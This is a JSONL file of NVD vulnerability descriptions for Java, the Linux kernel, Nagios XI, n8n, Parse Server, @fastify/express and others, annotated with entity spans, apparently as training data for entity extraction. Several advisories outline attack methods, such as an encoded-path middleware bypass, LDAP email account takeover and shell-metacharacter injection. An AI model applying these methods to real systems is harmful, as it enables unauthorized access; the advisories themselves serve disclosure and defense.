{"text": "Vulnerability in the Oracle Java SE, Oracle GraalVM Enterprise Edition product of Oracle Java SE (component: Libraries). Supported versions that are affected are Oracle Java SE: 7u321, 8u311, 11.0.13, 17.0.1; Oracle GraalVM Enterprise Edition: 20.3.4 and 21.3.0. Easily exploitable vulnerability allows unauthenticated attacker with network access via multiple protocols to compromise Oracle Java SE, Oracle GraalVM Enterprise Edition. Successful attacks of this vulnerability can result in unauthorized ability to cause a partial denial of service (partial DOS) of Oracle Java SE, Oracle GraalVM Enterprise Edition. Note: This vulnerability applies to Java deployments, typically in clients running sandboxed Java Web Start applications or sandboxed Java applets, that load and run untrusted code (e.g., code that comes from the internet) and rely on the Java sandbox for security. This vulnerability can also be exploited by using APIs in the specified Component, e.g., through a web service which supplies data to the APIs. CVSS 3.1 Base Score 5.3 (Availability impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L).", "spans": {"SYSTEM: Java": [[28, 32], [89, 93], [169, 173], [392, 396], [573, 577], [653, 657], [710, 714], [751, 755], [856, 860]], "ORGANIZATION: Oracle": [[21, 27], [37, 43], [82, 88], [162, 168], [209, 215], [385, 391], [401, 407], [566, 572], [582, 588]], "VULNERABILITY: denial of service": [[531, 548]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2022-21340"}}
{"text": "Contiki-NG is an open-source, cross-platform operating system for Next-Generation IoT devices. An out-of-bounds write exists in the driver for IEEE 802.15.4 radios on nRF platforms in the Contiki-NG operating system. The problem is triggered when parsing radio frames in the `read_frame` function in the `arch/cpu/nrf/net/nrf-ieee-driver-arch.c` module. More specifically, the `read_frame` function performs an incomplete validation of the payload length of the packet, which is a value that can be set by an external party that sends radio packets to a Contiki-NG system. Although the value is validated to be in the range of the MTU length, it is not validated to fit into the given buffer into which the packet will be copied. The problem has been patched in the \"develop\" branch of Contiki-NG and is expected to be included in subsequent releases. Users are advised to update their develop branch or to update to a subsequent release when available. Users unable to upgrade should consider manually applying the changes in PR #2741.", "spans": {"FILEPATH: /cpu/nrf/net/nrf-ieee-driver-arch.c": [[309, 344]], "VULNERABILITY: out-of-bounds write": [[98, 117]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2023-48229"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\nbpf: Disable migration in nf_hook_run_bpf().\n\nsyzbot reported that the netfilter bpf prog can be called without\nmigration disabled in xmit path.\n\nThen the assertion in __bpf_prog_run() fails, triggering the splat\nbelow. [0]\n\nLet's use bpf_prog_run_pin_on_cpu() in nf_hook_run_bpf().\n\n[0]:\nBUG: assuming non migratable context at ./include/linux/filter.h:703\nin_atomic(): 0, irqs_disabled(): 0, migration_disabled() 0 pid: 5829, name: sshd-session\n3 locks held by sshd-session/5829:\n #0: ffff88807b4e4218 (sk_lock-AF_INET){+.+.}-{0:0}, at: lock_sock include/net/sock.h:1667 [inline]\n #0: ffff88807b4e4218 (sk_lock-AF_INET){+.+.}-{0:0}, at: tcp_sendmsg+0x20/0x50 net/ipv4/tcp.c:1395\n #1: ffffffff8e5c4e00 (rcu_read_lock){....}-{1:3}, at: rcu_lock_acquire include/linux/rcupdate.h:331 [inline]\n #1: ffffffff8e5c4e00 (rcu_read_lock){....}-{1:3}, at: rcu_read_lock include/linux/rcupdate.h:841 [inline]\n #1: ffffffff8e5c4e00 (rcu_read_lock){....}-{1:3}, at: __ip_queue_xmit+0x69/0x26c0 net/ipv4/ip_output.c:470\n #2: ffffffff8e5c4e00 (rcu_read_lock){....}-{1:3}, at: rcu_lock_acquire include/linux/rcupdate.h:331 [inline]\n #2: ffffffff8e5c4e00 (rcu_read_lock){....}-{1:3}, at: rcu_read_lock include/linux/rcupdate.h:841 [inline]\n #2: ffffffff8e5c4e00 (rcu_read_lock){....}-{1:3}, at: nf_hook+0xb2/0x680 include/linux/netfilter.h:241\nCPU: 0 UID: 0 PID: 5829 Comm: sshd-session Not tainted 6.16.0-rc6-syzkaller-00002-g155a3c003e55 #0 PREEMPT(full)\nHardware name: Google Google Compute Engine/Google Compute Engine, BIOS Google 05/07/2025\nCall Trace:\n <TASK>\n __dump_stack lib/dump_stack.c:94 [inline]\n dump_stack_lvl+0x16c/0x1f0 lib/dump_stack.c:120\n __cant_migrate kernel/sched/core.c:8860 [inline]\n __cant_migrate+0x1c7/0x250 kernel/sched/core.c:8834\n __bpf_prog_run include/linux/filter.h:703 [inline]\n bpf_prog_run include/linux/filter.h:725 [inline]\n nf_hook_run_bpf+0x83/0x1e0 net/netfilter/nf_bpf_link.c:20\n nf_hook_entry_hookfn include/linux/netfilter.h:157 [inline]\n nf_hook_slow+0xbb/0x200 net/netfilter/core.c:623\n nf_hook+0x370/0x680 include/linux/netfilter.h:272\n NF_HOOK_COND include/linux/netfilter.h:305 [inline]\n ip_output+0x1bc/0x2a0 net/ipv4/ip_output.c:433\n dst_output include/net/dst.h:459 [inline]\n ip_local_out net/ipv4/ip_output.c:129 [inline]\n __ip_queue_xmit+0x1d7d/0x26c0 net/ipv4/ip_output.c:527\n __tcp_transmit_skb+0x2686/0x3e90 net/ipv4/tcp_output.c:1479\n tcp_transmit_skb net/ipv4/tcp_output.c:1497 [inline]\n tcp_write_xmit+0x1274/0x84e0 net/ipv4/tcp_output.c:2838\n __tcp_push_pending_frames+0xaf/0x390 net/ipv4/tcp_output.c:3021\n tcp_push+0x225/0x700 net/ipv4/tcp.c:759\n tcp_sendmsg_locked+0x1870/0x42b0 net/ipv4/tcp.c:1359\n tcp_sendmsg+0x2e/0x50 net/ipv4/tcp.c:1396\n inet_sendmsg+0xb9/0x140 net/ipv4/af_inet.c:851\n sock_sendmsg_nosec net/socket.c:712 [inline]\n __sock_sendmsg net/socket.c:727 [inline]\n sock_write_iter+0x4aa/0x5b0 net/socket.c:1131\n new_sync_write fs/read_write.c:593 [inline]\n vfs_write+0x6c7/0x1150 fs/read_write.c:686\n ksys_write+0x1f8/0x250 fs/read_write.c:738\n do_syscall_x64 arch/x86/entry/syscall_64.c:63 [inline]\n do_syscall_64+0xcd/0x4c0 arch/x86/entry/syscall_64.c:94\n entry_SYSCALL_64_after_hwframe+0x77/0x7f\nRIP: 0033:0x7fe7d365d407\nCode: 48 89 fa 4c 89 df e8 38 aa 00 00 8b 93 08 03 00 00 59 5e 48 83 f8 fc 74 1a 5b c3 0f 1f 84 00 00 00 00 00 48 8b 44 24 10 0f 05 <5b> c3 0f 1f 80 00 00 00 00 83 e2 39 83 fa 08 75 de e8 23 ff ff ff\nRSP:", "spans": {"FILEPATH: /include/linux/filter.h": [[399, 422]], "FILEPATH: /net/sock.h": [[625, 636]], "FILEPATH: /ipv4/tcp.c": [[733, 744], [2647, 2658], [2700, 2711], [2743, 2754]], "FILEPATH: /linux/rcupdate.h": [[829, 846], [936, 953], [1154, 1171], [1261, 1278]], "FILEPATH: /ipv4/ip_output.c": [[1053, 1070], [2216, 2233], [2298, 2315], [2363, 2380]], "FILEPATH: /linux/netfilter.h": [[1373, 1391], [2004, 2022], [2114, 2132], [2158, 2176]], "FILEPATH: /07/2025": [[1590, 1598]], "FILEPATH: /sched/core.c": [[1733, 1746], [1795, 1808]], "FILEPATH: /linux/filter.h": [[1837, 1852], [1887, 1902]], "FILEPATH: /netfilter/nf_bpf_link.c": [[1947, 1971]], "FILEPATH: /netfilter/core.c": [[2064, 2081]], "FILEPATH: /net/dst.h": [[2257, 2267]], "FILEPATH: /ipv4/tcp_output.c": [[2422, 2440], [2467, 2485], [2533, 2551], [2598, 2616]], "FILEPATH: /ipv4/af_inet.c": [[2788, 2803]], "FILEPATH: /x86/entry/syscall_64.c": [[3096, 3119], [3162, 3185]], "FILEPATH: dump_stack.c": [[1637, 1649], [1694, 1706]], "FILEPATH: socket.c": [[2832, 2840], [2874, 2882], [2929, 2937]], "FILEPATH: read_write.c": [[2962, 2974], [3015, 3027], [3059, 3071]], "SYSTEM: Linux kernel": [[7, 19]], "ORGANIZATION: Google": [[1524, 1530], [1531, 1537], [1553, 1559], [1581, 1587]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2025-38640"}}
{"text": "WeGIA is an open source web manager with a focus on the Portuguese language and charitable institutions. A Stored Cross-Site Scripting (XSS) vulnerability was identified in the `remuneracao.php` endpoint of the WeGIA application. This vulnerability allows attackers to inject malicious scripts into the `descricao` parameter. The injected scripts are stored on the server and executed automatically whenever the affected page is accessed by users, posing a significant security risk. The application fails to properly validate and sanitize user inputs in the `remuneracao.php` parameter. This lack of validation allows attackers to inject malicious scripts, which are then stored on the server. Whenever the affected page is accessed, the malicious payload is executed in the victim's browser, potentially compromising the user's data and system. This issue has been addressed in version 3.2.6. All users are advised to upgrade. There are no known workarounds for this vulnerability.", "spans": {"FILEPATH: remuneracao.php": [[178, 193], [560, 575]], "VULNERABILITY: Cross-Site Scripting": [[114, 134]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2025-23038"}}
{"text": "openHAB is a vendor and technology agnostic open source automation software for your home. In openHAB before versions 2.5.12 and 3.0.1 the XML external entity (XXE) attack allows attackers in the same network as the openHAB instance to retrieve internal information like the content of files from the file system. Responses to SSDP requests can be especially malicious. All add-ons that use SAX or JAXB parsing of externally received XML are potentially subject to this kind of attack. In openHAB, the following add-ons are potentially impacted: AvmFritz, BoseSoundtouch, DenonMarantz, DLinkSmarthome, Enigma2, FmiWeather, FSInternetRadio, Gce, Homematic, HPPrinter, IHC, Insteon, Onkyo, Roku, SamsungTV, Sonos, Roku, Tellstick, TR064, UPnPControl, Vitotronic, Wemo, YamahaReceiver and XPath Tranformation. The vulnerabilities have been fixed in versions 2.5.12 and 3.0.1 by a more strict configuration of the used XML parser.", "spans": {"VULNERABILITY: XML external entity": [[139, 158]], "VULNERABILITY: XXE": [[160, 163]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2021-21266"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\nusb-storage: alauda: Fix uninit-value in alauda_check_media()\n\nSyzbot got KMSAN to complain about access to an uninitialized value in\nthe alauda subdriver of usb-storage:\n\nBUG: KMSAN: uninit-value in alauda_transport+0x462/0x57f0\ndrivers/usb/storage/alauda.c:1137\nCPU: 0 PID: 12279 Comm: usb-storage Not tainted 5.3.0-rc7+ #0\nHardware name: Google Google Compute Engine/Google Compute Engine, BIOS\nGoogle 01/01/2011\nCall Trace:\n  __dump_stack lib/dump_stack.c:77 [inline]\n  dump_stack+0x191/0x1f0 lib/dump_stack.c:113\n  kmsan_report+0x13a/0x2b0 mm/kmsan/kmsan_report.c:108\n  __msan_warning+0x73/0xe0 mm/kmsan/kmsan_instr.c:250\n  alauda_check_media+0x344/0x3310 drivers/usb/storage/alauda.c:460\n\nThe problem is that alauda_check_media() doesn't verify that its USB\ntransfer succeeded before trying to use the received data.  What\nshould happen if the transfer fails isn't entirely clear, but a\nreasonably conservative approach is to pretend that no media is\npresent.\n\nA similar problem exists in a usb_stor_dbg() call in\nalauda_get_media_status().  In this case, when an error occurs the\ncall is redundant, because usb_stor_ctrl_transfer() already will print\na debugging message.\n\nFinally, unrelated to the uninitialized memory access, is the fact\nthat alauda_check_media() performs DMA to a buffer on the stack.\nFortunately usb-storage provides a general purpose DMA-able buffer for\nuses like this.  We'll use it instead.", "spans": {"FILEPATH: /usb/storage/alauda.c": [[306, 327], [737, 758]], "FILEPATH: /01/2011": [[476, 484]], "FILEPATH: /kmsan/kmsan_report.c": [[616, 637]], "FILEPATH: /kmsan/kmsan_instr.c": [[671, 691]], "FILEPATH: dump_stack.c": [[516, 528], [570, 582]], "SYSTEM: Linux kernel": [[7, 19]], "ORGANIZATION: Google": [[410, 416], [417, 423], [439, 445], [467, 473]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2023-53847"}}
{"text": "Matrix is an ecosystem for open federated Instant Messaging and VoIP. Synapse is a reference \"homeserver\" implementation of Matrix. A malicious or poorly-implemented homeserver can inject malformed events into a room by specifying a different room id in the path of a `/send_join`, `/send_leave`, `/invite` or `/exchange_third_party_invite` request. This can lead to a denial of service in which future events will not be correctly sent to other servers over federation. This affects any server which accepts federation requests from untrusted servers. The Matrix Synapse reference implementation before version 1.23.1 the implementation is vulnerable to this injection attack. Issue is fixed in version 1.23.1. As a workaround homeserver administrators could limit access to the federation API to trusted servers (for example via `federation_domain_whitelist`).", "spans": {"VULNERABILITY: denial of service": [[369, 386]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2020-26257"}}
{"text": "Nagios XI versions prior to 5.6.14 contain an authenticated remote command execution vulnerability in the CCM command_test.php script. Insufficient validation of the `address` parameter allows an authenticated user with access to the Core Config Manager to inject shell metacharacters that are incorporated into backend command invocations. Successful exploitation enables arbitrary command execution with the privileges of the Nagios XI web application user and may be leveraged to execute commands on the underlying XI host, modify system configuration, or fully compromise the host.", "spans": {"FILEPATH: command_test.php": [[110, 126]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2020-36856"}}
{"text": "n8n is an open source workflow automation platform. Prior to versions 2.4.0 and 1.121.0, when LDAP authentication is enabled, n8n automatically linked an LDAP identity to an existing local account if the LDAP email attribute matched the local account's email. An authenticated LDAP user who could control their own LDAP email attribute could set it to match another user's email — including an administrator's — and upon login gain full access to that account. The account linkage persisted even if the LDAP email was later reverted, resulting in a permanent account takeover. LDAP authentication must be configured and active (non-default). The issue has been fixed in n8n versions 2.4.0 and 1.121.0. Users should upgrade to one of these versions or later to remediate the vulnerability. If upgrading is not immediately possible, administrators should consider the following temporary mitigations: Disable LDAP authentication until the instance can be upgraded, restrict LDAP directory permissions so that users cannot modify their own email attributes, and/or audit existing LDAP-linked accounts for unexpected account associations. These workarounds do not fully remediate the risk and should only be used as short-term mitigation measures.", "spans": {}, "info": {"source": "nvd_v2", "cve_id": "CVE-2026-33665"}}
{"text": "A remote execution of arbitrary code vulnerability was discovered in ArubaOS-Switch Devices version(s): ArubaOS-Switch 15.xx.xxxx: All versions; ArubaOS-Switch 16.01.xxxx: All versions; ArubaOS-Switch 16.02.xxxx: K.16.02.0033 and below; ArubaOS-Switch 16.03.xxxx: All versions; ArubaOS-Switch 16.04.xxxx: All versions; ArubaOS-Switch 16.05.xxxx: All versions; ArubaOS-Switch 16.06.xxxx: All versions; ArubaOS-Switch 16.07.xxxx: All versions; ArubaOS-Switch 16.08.xxxx: KB/WB/WC/YA/YB/YC.16.08.0024 and below; ArubaOS-Switch 16.09.xxxx: KB/WB/WC/YA/YB/YC.16.09.0019 and below; ArubaOS-Switch 16.10.xxxx: KB/WB/WC/YA/YB/YC.16.10.0019 and below; ArubaOS-Switch 16.11.xxxx: KB/WB/WC/YA/YB/YC.16.11.0003 and below. Aruba has released upgrades for ArubaOS-Switch Devices that address these security vulnerabilities.", "spans": {"FILEPATH: /WB/WC/YA/YB/YC.16.08.0024": [[471, 497]], "FILEPATH: /WB/WC/YA/YB/YC.16.09.0019": [[538, 564]], "FILEPATH: /WB/WC/YA/YB/YC.16.10.0019": [[605, 631]], "FILEPATH: /WB/WC/YA/YB/YC.16.11.0003": [[672, 698]], "ORGANIZATION: Aruba": [[710, 715]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2022-23677"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\nsfc: fix use after free when disabling sriov\n\nUse after free is detected by kfence when disabling sriov. What was read\nafter being freed was vf->pci_dev: it was freed from pci_disable_sriov\nand later read in efx_ef10_sriov_free_vf_vports, called from\nefx_ef10_sriov_free_vf_vswitching.\n\nSet the pointer to NULL at release time to not trying to read it later.\n\nReproducer and dmesg log (note that kfence doesn't detect it every time):\n$ echo 1 > /sys/class/net/enp65s0f0np0/device/sriov_numvfs\n$ echo 0 > /sys/class/net/enp65s0f0np0/device/sriov_numvfs\n\n BUG: KFENCE: use-after-free read in efx_ef10_sriov_free_vf_vswitching+0x82/0x170 [sfc]\n\n Use-after-free read at 0x00000000ff3c1ba5 (in kfence-#224):\n  efx_ef10_sriov_free_vf_vswitching+0x82/0x170 [sfc]\n  efx_ef10_pci_sriov_disable+0x38/0x70 [sfc]\n  efx_pci_sriov_configure+0x24/0x40 [sfc]\n  sriov_numvfs_store+0xfe/0x140\n  kernfs_fop_write_iter+0x11c/0x1b0\n  new_sync_write+0x11f/0x1b0\n  vfs_write+0x1eb/0x280\n  ksys_write+0x5f/0xe0\n  do_syscall_64+0x5c/0x80\n  entry_SYSCALL_64_after_hwframe+0x44/0xae\n\n kfence-#224: 0x00000000edb8ef95-0x00000000671f5ce1, size=2792, cache=kmalloc-4k\n\n allocated by task 6771 on cpu 10 at 3137.860196s:\n  pci_alloc_dev+0x21/0x60\n  pci_iov_add_virtfn+0x2a2/0x320\n  sriov_enable+0x212/0x3e0\n  efx_ef10_sriov_configure+0x67/0x80 [sfc]\n  efx_pci_sriov_configure+0x24/0x40 [sfc]\n  sriov_numvfs_store+0xba/0x140\n  kernfs_fop_write_iter+0x11c/0x1b0\n  new_sync_write+0x11f/0x1b0\n  vfs_write+0x1eb/0x280\n  ksys_write+0x5f/0xe0\n  do_syscall_64+0x5c/0x80\n  entry_SYSCALL_64_after_hwframe+0x44/0xae\n\n freed by task 6771 on cpu 12 at 3170.991309s:\n  device_release+0x34/0x90\n  kobject_cleanup+0x3a/0x130\n  pci_iov_remove_virtfn+0xd9/0x120\n  sriov_disable+0x30/0xe0\n  efx_ef10_pci_sriov_disable+0x57/0x70 [sfc]\n  efx_pci_sriov_configure+0x24/0x40 [sfc]\n  sriov_numvfs_store+0xfe/0x140\n  kernfs_fop_write_iter+0x11c/0x1b0\n  new_sync_write+0x11f/0x1b0\n  vfs_write+0x1eb/0x280\n  ksys_write+0x5f/0xe0\n  do_syscall_64+0x5c/0x80\n  entry_SYSCALL_64_after_hwframe+0x44/0xae", "spans": {"FILEPATH: /sys/class/net/enp65s0f0np0/device/sriov_numvfs": [[514, 561], [573, 620]], "SYSTEM: Linux kernel": [[7, 19]], "VULNERABILITY: use after free": [[78, 92]], "VULNERABILITY: Use after free": [[115, 129]], "VULNERABILITY: use-after-free": [[636, 650]], "VULNERABILITY: Use-after-free": [[712, 726]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2022-49626"}}
{"text": "Parse Server is an open source backend that can be deployed to any infrastructure that can run Node.js. Prior to 9.5.2-alpha.7 and 8.6.20, Parse Server's internal tables, which store Relation field mappings such as role memberships, can be directly accessed via the REST API or GraphQL API by any client using only the application key. No master key is required. An attacker can create, read, update, or delete records in any internal relationship table. Exploiting this allows the attacker to inject themselves into any Parse Role, gaining all permissions associated with that role, including full read, write, and delete access to classes protected by role-based Class-Level Permissions (CLP). Similarly, writing to any such table that backs a Relation field used in a pointerFields CLP bypasses that access control. This vulnerability is fixed in 9.5.2-alpha.7 and 8.6.20.", "spans": {"FILEPATH: Node.js": [[95, 102]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2026-30966"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\nbpf: Check rcu_read_lock_trace_held() before calling bpf map helpers\n\nThese three bpf_map_{lookup,update,delete}_elem() helpers are also\navailable for sleepable bpf program, so add the corresponding lock\nassertion for sleepable bpf program, otherwise the following warning\nwill be reported when a sleepable bpf program manipulates bpf map under\ninterpreter mode (aka bpf_jit_enable=0):\n\n  WARNING: CPU: 3 PID: 4985 at kernel/bpf/helpers.c:40 ......\n  CPU: 3 PID: 4985 Comm: test_progs Not tainted 6.6.0+ #2\n  Hardware name: QEMU Standard PC (i440FX + PIIX, 1996) ......\n  RIP: 0010:bpf_map_lookup_elem+0x54/0x60\n  ......\n  Call Trace:\n   <TASK>\n   ? __warn+0xa5/0x240\n   ? bpf_map_lookup_elem+0x54/0x60\n   ? report_bug+0x1ba/0x1f0\n   ? handle_bug+0x40/0x80\n   ? exc_invalid_op+0x18/0x50\n   ? asm_exc_invalid_op+0x1b/0x20\n   ? __pfx_bpf_map_lookup_elem+0x10/0x10\n   ? rcu_lockdep_current_cpu_online+0x65/0xb0\n   ? rcu_is_watching+0x23/0x50\n   ? bpf_map_lookup_elem+0x54/0x60\n   ? __pfx_bpf_map_lookup_elem+0x10/0x10\n   ___bpf_prog_run+0x513/0x3b70\n   __bpf_prog_run32+0x9d/0xd0\n   ? __bpf_prog_enter_sleepable_recur+0xad/0x120\n   ? __bpf_prog_enter_sleepable_recur+0x3e/0x120\n   bpf_trampoline_6442580665+0x4d/0x1000\n   __x64_sys_getpgid+0x5/0x30\n   ? do_syscall_64+0x36/0xb0\n   entry_SYSCALL_64_after_hwframe+0x6e/0x76\n   </TASK>", "spans": {"FILEPATH: /bpf/helpers.c": [[493, 507]], "SYSTEM: Linux kernel": [[7, 19]], "SYSTEM: QEMU": [[593, 597]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2023-52621"}}
{"text": "A cross-site scripting (XSS) vulnerability in wp-content/plugins/event-espresso-core-reg/admin_pages/messages/templates/ee_msg_admin_overview.template.php in the Event Espresso Core plugin before 4.10.7.p for WordPress allows remote attackers to inject arbitrary web script or HTML via the page parameter.", "spans": {"FILEPATH: /plugins/event-espresso-core-reg/admin_pages/messages/templates/ee_msg_admin_overview.template.php": [[56, 154]], "SYSTEM: WordPress": [[209, 218]], "VULNERABILITY: cross-site scripting": [[2, 22]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2020-26153"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\narm64: efi: Make efi_rt_lock a raw_spinlock\n\nRunning a rt-kernel base on 6.2.0-rc3-rt1 on an Ampere Altra outputs\nthe following:\n  BUG: sleeping function called from invalid context at kernel/locking/spinlock_rt.c:46\n  in_atomic(): 1, irqs_disabled(): 0, non_block: 0, pid: 9, name: kworker/u320:0\n  preempt_count: 2, expected: 0\n  RCU nest depth: 0, expected: 0\n  3 locks held by kworker/u320:0/9:\n  #0: ffff3fff8c27d128 ((wq_completion)efi_rts_wq){+.+.}-{0:0}, at: process_one_work (./include/linux/atomic/atomic-long.h:41)\n  #1: ffff80000861bdd0 ((work_completion)(&efi_rts_work.work)){+.+.}-{0:0}, at: process_one_work (./include/linux/atomic/atomic-long.h:41)\n  #2: ffffdf7e1ed3e460 (efi_rt_lock){+.+.}-{3:3}, at: efi_call_rts (drivers/firmware/efi/runtime-wrappers.c:101)\n  Preemption disabled at:\n  efi_virtmap_load (./arch/arm64/include/asm/mmu_context.h:248)\n  CPU: 0 PID: 9 Comm: kworker/u320:0 Tainted: G        W          6.2.0-rc3-rt1\n  Hardware name: WIWYNN Mt.Jade Server System B81.03001.0005/Mt.Jade Motherboard, BIOS 1.08.20220218 (SCP: 1.08.20220218) 2022/02/18\n  Workqueue: efi_rts_wq efi_call_rts\n  Call trace:\n  dump_backtrace (arch/arm64/kernel/stacktrace.c:158)\n  show_stack (arch/arm64/kernel/stacktrace.c:165)\n  dump_stack_lvl (lib/dump_stack.c:107 (discriminator 4))\n  dump_stack (lib/dump_stack.c:114)\n  __might_resched (kernel/sched/core.c:10134)\n  rt_spin_lock (kernel/locking/rtmutex.c:1769 (discriminator 4))\n  efi_call_rts (drivers/firmware/efi/runtime-wrappers.c:101)\n  [...]\n\nThis seems to come from commit ff7a167961d1 (\"arm64: efi: Execute\nruntime services from a dedicated stack\") which adds a spinlock. This\nspinlock is taken through:\nefi_call_rts()\n\\-efi_call_virt()\n  \\-efi_call_virt_pointer()\n    \\-arch_efi_call_virt_setup()\n\nMake 'efi_rt_lock' a raw_spinlock to avoid being preempted.\n\n[ardb: The EFI runtime services are called with a different set of\n       translation tables, and are permitted to use the SIMD registers.\n       The context switch code preserves/restores neither, and so EFI\n       calls must be made with preemption disabled, rather than only\n       disabling migration.]", "spans": {"FILEPATH: /locking/spinlock_rt.c": [[260, 282]], "FILEPATH: /include/linux/atomic/atomic-long.h": [[555, 590], [694, 729]], "FILEPATH: /firmware/efi/runtime-wrappers.c": [[809, 841], [1533, 1565]], "FILEPATH: /arch/arm64/include/asm/mmu_context.h": [[894, 931]], "FILEPATH: /02/18": [[1143, 1149]], "FILEPATH: /arm64/kernel/stacktrace.c": [[1223, 1249], [1273, 1299]], "FILEPATH: /sched/core.c": [[1424, 1437]], "FILEPATH: /locking/rtmutex.c": [[1467, 1485]], "FILEPATH: dump_stack.c": [[1327, 1339], [1381, 1393]], "SYSTEM: Linux kernel": [[7, 19]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2023-53216"}}
{"text": "The @fastify/express plugin adds full Express compatibility to Fastify. A security vulnerability exists in @fastify/express prior to version 4.0.3 where middleware registered with a specific path prefix can be bypassed using URL-encoded characters (e.g., `/%61dmin` instead of `/admin`). While the middleware engine fails to match the encoded path and skips execution, the underlying Fastify router correctly decodes the path and matches the route handler, allowing attackers to access protected endpoints without the middleware constraints. The vulnerability is caused by how @fastify/express matches requests against registered middleware paths. This vulnerability is similar to, but differs from, CVE-2026-22031 because this is a different npm module with its own code. Version 4.0.3 of @fastify/express contains a patch fort the issue.", "spans": {"CVE_ID: CVE-2026-22031": [[700, 714]], "ORGANIZATION: npm": [[743, 746]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2026-22037"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\nBluetooth: ISO: Check socket flag instead of hcon\n\nThis fixes the following Smatch static checker warning:\n\nnet/bluetooth/iso.c:1364 iso_sock_recvmsg()\nerror: we previously assumed 'pi->conn->hcon' could be null (line 1359)\n\nnet/bluetooth/iso.c\n1347 static int iso_sock_recvmsg(struct socket *sock, struct msghdr *msg,\n1348                             size_t len, int flags)\n1349 {\n1350         struct sock *sk = sock->sk;\n1351         struct iso_pinfo *pi = iso_pi(sk);\n1352\n1353         BT_DBG(\"sk %p\", sk);\n1354\n1355         if (test_and_clear_bit(BT_SK_DEFER_SETUP,\n                                      &bt_sk(sk)->flags)) {\n1356                 lock_sock(sk);\n1357                 switch (sk->sk_state) {\n1358                 case BT_CONNECT2:\n1359                         if (pi->conn->hcon &&\n                                     ^^^^^^^^^^^^^^ If ->hcon is NULL\n\n1360                             test_bit(HCI_CONN_PA_SYNC,\n                                         &pi->conn->hcon->flags)) {\n1361                                 iso_conn_big_sync(sk);\n1362                                 sk->sk_state = BT_LISTEN;\n1363                         } else {\n--> 1364                         iso_conn_defer_accept(pi->conn->hcon);\n                                                       ^^^^^^^^^^^^^^\n                                                       then we're toast\n\n1365                                 sk->sk_state = BT_CONFIG;\n1366                         }\n1367                         release_sock(sk);\n1368                         return 0;\n1369                 case BT_CONNECTED:\n1370                         if (test_bit(BT_SK_PA_SYNC,", "spans": {"FILEPATH: /bluetooth/iso.c": [[180, 196], [297, 313]], "SYSTEM: Linux kernel": [[7, 19]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2024-42141"}}
{"text": "In Conjur OSS Helm Chart before 2.0.0, a recently identified critical vulnerability resulted in the installation of the Conjur Postgres database with an open port. This allows an attacker to gain full read & write access to the Conjur Postgres database, including escalating the attacker's privileges to assume full control. A malicious actor who knows the IP address and port number of the Postgres database and has access into the Kubernetes cluster where Conjur runs can gain full read & write access to the Postgres database. This enables the attacker to write a policy that allows full access to retrieve any secret. This Helm chart is a method to install Conjur OSS into a Kubernetes environment. Hence, the systems impacted are only Conjur OSS systems that were deployed using this chart. Other deployments including Docker and the CyberArk Dynamic Access Provider (DAP) are not affected. To remediate this vulnerability, clone the latest Helm Chart and follow the upgrade instructions. If you are not able to fully remediate this vulnerability immediately, you can mitigate some of the risk by making sure Conjur OSS is deployed on an isolated Kubernetes cluster or namespace. The term \"isolated\" refers to: - No other workloads besides Conjur OSS and its backend database are running in that Kubernetes cluster/namespace. - Kubernetes and helm access to the cluster/namespace is limited to security administrators via Role-Based Access Control (RBAC).", "spans": {"SYSTEM: Kubernetes": [[433, 443], [679, 689], [1152, 1162], [1301, 1311], [1333, 1343]], "ORGANIZATION: Docker": [[824, 830]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2020-4062"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\next4: publish jinode after initialization\n\next4_inode_attach_jinode() publishes ei->jinode to concurrent users.\nIt used to set ei->jinode before jbd2_journal_init_jbd_inode(),\nallowing a reader to observe a non-NULL jinode with i_vfs_inode\nstill unset.\n\nThe fast commit flush path can then pass this jinode to\njbd2_wait_inode_data(), which dereferences i_vfs_inode->i_mapping and\nmay crash.\n\nBelow is the crash I observe:\n```\nBUG: unable to handle page fault for address: 000000010beb47f4\nPGD 110e51067 P4D 110e51067 PUD 0\nOops: Oops: 0000 [#1] SMP NOPTI\nCPU: 1 UID: 0 PID: 4850 Comm: fc_fsync_bench_ Not tainted 6.18.0-00764-g795a690c06a5 #1 PREEMPT(voluntary)\nHardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS Arch Linux 1.17.0-2-2 04/01/2014\nRIP: 0010:xas_find_marked+0x3d/0x2e0\nCode: e0 03 48 83 f8 02 0f 84 f0 01 00 00 48 8b 47 08 48 89 c3 48 39 c6 0f 82 fd 01 00 00 48 85 c9 74 3d 48 83 f9 03 77 63 4c 8b 0f <49> 8b 71 08 48 c7 47 18 00 00 00 00 48 89 f1 83 e1 03 48 83 f9 02\nRSP: 0018:ffffbbee806e7bf0 EFLAGS: 00010246\nRAX: 000000000010beb4 RBX: 000000000010beb4 RCX: 0000000000000003\nRDX: 0000000000000001 RSI: 0000002000300000 RDI: ffffbbee806e7c10\nRBP: 0000000000000001 R08: 0000002000300000 R09: 000000010beb47ec\nR10: ffff9ea494590090 R11: 0000000000000000 R12: 0000002000300000\nR13: ffffbbee806e7c90 R14: ffff9ea494513788 R15: ffffbbee806e7c88\nFS: 00007fc2f9e3e6c0(0000) GS:ffff9ea6b1444000(0000) knlGS:0000000000000000\nCS: 0010 DS: 0000 ES: 0000 CR0: 